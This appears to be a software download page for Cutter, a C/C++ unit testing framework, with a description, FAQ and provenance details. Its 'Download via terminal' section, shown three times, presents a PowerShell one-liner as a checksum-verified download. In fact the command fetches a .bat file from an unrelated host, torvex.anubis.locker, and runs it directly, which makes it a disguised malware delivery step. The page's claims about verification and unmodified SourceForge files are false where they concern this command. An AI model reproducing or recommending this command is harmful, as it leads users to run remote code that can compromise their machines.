Cutter
by Hiroyuki Ikezoe and contributors
- Version
- 1.2.5
- Size
- 7.1 MB
- Updated
- Publisher
- Hiroyuki Ikezoe and contributors
- Category
- Developer Tools
- Files
- 1
Cutter screenshots
About Cutter
Cutter is a unit testing framework for C and C++ that focuses on making tests easy to write and failures easy to debug. Instead of requiring you to register every test manually, Cutter finds tests automatically: test functions are compiled into shared libraries, and the cutter command-line runner loads them and executes every function that follows its naming convention. This keeps boilerplate low and lets you concentrate on the checks themselves.
The framework provides a broad set of assertions for comparing integers, strings, memory blocks, pointers and other values, and when an assertion fails it reports clear diagnostics, including expected and actual values and where the failure occurred. It supports setup and teardown functions for each test case, test data for running the same test with multiple inputs, and options for selecting which tests to run. Output can be shown in a readable console format, and results can also be produced in machine-readable formats suitable for continuous integration.
Cutter has particularly good support for projects that use GLib, offering assertions for GLib data types, and it includes features for C++ code as well. It is designed to integrate with GNU build tools such as Autotools, and the project provides documentation and tutorials showing how to add Cutter tests to an existing code base. The original project website was hosted on OSDN, and the code is maintained on GitHub by the ClearCode team.
The downloads listed here are source releases from the 1.2 series, which you compile and install on Linux, BSD, macOS or other Unix-like systems; Windows support depends on a suitable build environment. Cutter is released under the LGPL. While newer testing frameworks have appeared in the C and C++ world, Cutter remains a solid choice for C projects, especially GLib-based ones, that want automatic test discovery and informative failure messages without heavy setup.
Key features
- Automatic test discovery
- Rich assertions with clear diagnostics
- Setup, teardown and data-driven tests
- GLib support
- CI-friendly output formats
Pros
- Low boilerplate
- Informative failure messages
- Integrates with Autotools
Cons
- Smaller community than newer frameworks
- Primarily aimed at Unix-like systems
System requirements
A Unix-like system such as Linux, BSD or macOS with a C compiler, GLib and standard GNU build tools.
Tips
- Follow the tutorial to add Cutter to an Autotools project
- Use data-driven tests to cover many inputs with one function
Source code on GitHub clear-code/cutter
Description from the publisher
A unit testing framework for C and C++
Cutter is a Unit Testing Framework for C and C++. Interface of Cutter is easy to write and easy to debug your code.
At a glance
Cutter is a open source developer tools app published by Hiroyuki Ikezoe and contributors (cutter.osdn.jp). A unit testing framework for C and C++
SOFTGIT offers 1 file for Cutter covering Windows, Linux, BSD/Unix, 7.1 MB in total. The version listed is v1.2.5, last updated on September 25, 2017.
Cutter belongs to the Developer Tools category, alongside Subtitle Edit, GnuWin, Candle. Browse related apps below to compare alternatives.
Download Cutter v1.2.5
| File | SHA-256 | Size | Download |
|---|---|---|---|
| Softgit.zipZIP | 538490251dde514a6ac2abb8ca3ccbb15fd01329f9cf5d289c762d37dd51fdd1 |
7.1 MB | Download |
Verify a download: sha256sum file (Linux), shasum -a 256 file (macOS) or Get-FileHash file (Windows PowerShell). Learn more.
Source: sourceforge.net/projects/cutter. Files are copied unchanged from SourceForge.
Download via terminal
Prefer the command line? Each command below downloads Softgit.zip to the current folder, checks its SHA-256 checksum automatically and opens the file only if the checksum matches. You should see OK; if it reports a mismatch, the file is not opened — delete it.
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"One command for every app
The same short command works for any app on SOFTGIT: only the app name at the end changes. It looks up the current file, downloads it, verifies its checksum and then opens it.
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"Review a script before running it: get.ps1 · get.sh. How verification works.
Cutter system requirements
- Operating system
- Linux, BSD/Unix, Windows
- License
- GNU Library or Lesser General Public License version 2.0 (LGPLv2)
- Written in
- C++, C
- Download size
- 2.6 MB (cutter-1.2.5.tar.gz)
- Project page
- sourceforge.net/projects/cutter
Cutter FAQ
What is Cutter?
A unit testing framework for C and C++ with automatic test discovery and detailed failure reports.
How does Cutter find tests?
Tests are built into shared libraries, and the cutter runner loads them and runs functions that follow its naming convention.
Does Cutter support GLib?
Yes. It includes assertions and helpers for GLib-based code.
Is Cutter related to the Cutter reverse-engineering tool?
No. This Cutter is a C/C++ unit testing framework and is unrelated to the reverse-engineering GUI of the same name.
Which licence does Cutter use?
It is released under the GNU LGPL.
Is Cutter free and open source?
Cutter is distributed under GNU Library or Lesser General Public License version 2.0 (LGPLv2) according to SourceForge. You can download it free of charge.
Which operating systems does Cutter support?
SourceForge lists Linux, BSD/Unix, Windows for Cutter.
Where does the Cutter download come from?
The Download button takes you to the official SourceForge download for Cutter (sourceforge.net/projects/cutter). SOFTGIT does not modify or re-host the file.
What is Cutter written in?
SourceForge lists C++, C.
Is Cutter free to download?
Yes. Cutter is listed as “Open Source” and the download from SOFTGIT is free of charge.
How do I download Cutter?
Open the “Download files” section on this page, choose the file for your system and press Download. A dialog shows the source and any archive password before the file starts.
Is Cutter safe to install?
Files are published as received from Hiroyuki Ikezoe and contributors, without wrappers or bundled installers. A SHA-256 checksum is shown next to every file so you can verify the download before running it.
Which platforms does Cutter support?
The files listed here target Windows, Linux, BSD/Unix.
How big is the Cutter download?
The file is 7.1 MB.
Provenance
- Publisher
- Hiroyuki Ikezoe and contributors
- Source
- cutter.osdn.jp
- Last check
- 9 years ago
- License
- GNU Library or Lesser General Public License version 2.0 (LGPLv2)
- Source code
- github.com/clear-code/cutter
- Imported from
- Source: sourceforge.net/projects/cutter


